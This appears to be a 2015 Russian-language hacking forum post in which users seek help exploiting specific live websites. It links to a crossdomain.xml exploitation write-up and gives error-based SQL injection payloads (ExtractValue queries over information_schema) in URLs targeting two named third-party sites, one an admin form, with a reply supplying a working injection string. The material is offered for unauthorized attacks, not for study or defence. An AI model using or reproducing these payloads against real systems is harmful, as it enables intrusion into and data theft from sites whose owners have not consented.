18.01.2015, 15:35
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от nike001
На сайте есть файл crossdomain.xml с таким содержимым:
Как это можно использовать? http://sethsec.blogspot.ru/2014/03/exploiting-misconfigured-crossdomainxml.html
Сообщение от lion_art
Не часто прошу о помощи, но в этот раз не могу понять как докрутить Blind http://occc.com.ua/dl/%22or(ExtractValue(1,concat%280x3a,%28select%28col umn_name%29from%28information_schema.columns%29whe re%60table_name%60=information_schema%20and%28ordi nal_position=1%29%29%29%29%29=%27 Буду примного благодарен за помощь.
что именно не получается? составьте корректный запрос и все нормально
Сообщение от reuvenmatbil
http://www.urokrost.ru//forms/form_admin.php?ate=&klass=11&lessonform=1&mnu=4&re gion=2&sessionlogin=1%27
помогите раскрутить
Код:
http://www.urokrost.ru//forms/form_admin.php?ate=&klass=11&lessonform=1&mnu=4®ion=2&sessionlogin=1'|(extractvalue(1,repeat(version(),2)))='1
|
|
|